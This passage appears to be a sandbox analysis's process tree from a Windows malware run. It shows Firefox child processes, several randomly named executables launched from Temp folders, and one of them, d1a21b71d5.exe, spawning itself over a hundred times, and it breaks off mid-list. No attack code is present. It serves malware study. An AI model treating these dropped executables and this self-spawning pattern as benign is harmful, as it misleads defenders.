        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2960 -childID 1 -isForBrowser -prefsHandle 2972 -prefMapHandle 3020 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1276 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {74debeb3-9b11-4c1e-a431-88c724c5a594} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" tab
        9⤵
        
        PID:4884
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3792 -childID 2 -isForBrowser -prefsHandle 3784 -prefMapHandle 3780 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1276 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5b2de4d1-fa4e-41b2-b048-8639147fb8ae} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" tab
        9⤵
        
        PID:2364
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4380 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4496 -prefMapHandle 4492 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2e32654c-49e3-47cf-9101-867f0b138ee0} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" utility
        9⤵
        
        PID:6032
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5156 -childID 3 -isForBrowser -prefsHandle 5152 -prefMapHandle 5148 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1276 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2b42f79-5c88-4d2d-85a2-22084ee57e73} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" tab
        9⤵
        
        PID:5280
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5300 -childID 4 -isForBrowser -prefsHandle 5380 -prefMapHandle 5376 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1276 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a23ed9ec-d8f3-4eac-a9c0-b769ad3f6f3c} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" tab
        9⤵
        
        PID:3060
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5300 -childID 5 -isForBrowser -prefsHandle 5576 -prefMapHandle 5572 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1276 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3facc554-326c-4751-87c0-a36f7842759a} 3520 "\\.\pipe\gecko-crash-server-pipe.3520" tab
        9⤵
        
        PID:1864
      - C:\Users\Admin\AppData\Local\Temp\1014333001\1db319c8a3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014333001\1db319c8a3.exe"
        6⤵
        
        PID:4276
      - C:\Users\Admin\AppData\Local\Temp\1014334001\c6ed1be175.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014334001\c6ed1be175.exe"
        6⤵
        
        PID:5900
      - C:\Users\Admin\AppData\Local\Temp\1014335001\57c9a197b5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014335001\57c9a197b5.exe"
        6⤵
        
        PID:6204
      - C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        6⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:7120
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1432
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:376
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1360
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5108
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:116
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3660
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4920
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3460
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4248
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4476
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1192
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1492
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3668
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3380
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1180
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1952
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5208
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5144
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1840
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5260
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5296
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3864
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1776
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3692
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1868
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3708
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1660
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1992
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1136
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1612
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:624
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:6708
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3260
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:6744
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5320
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5332
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:868
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3244
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5404
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3232
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5448
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5492
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5500
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5508
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5516
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1284
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5532
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5564
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5584
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5632
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5652
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5688
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5696
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5716
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5732
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5708
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:1604
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2572
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:4200
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5736
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5744
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5752
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5772
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5780
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5792
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5764
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5432
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:3792
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:776
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5840
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5844
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5856
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5868
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5880
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:5888
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
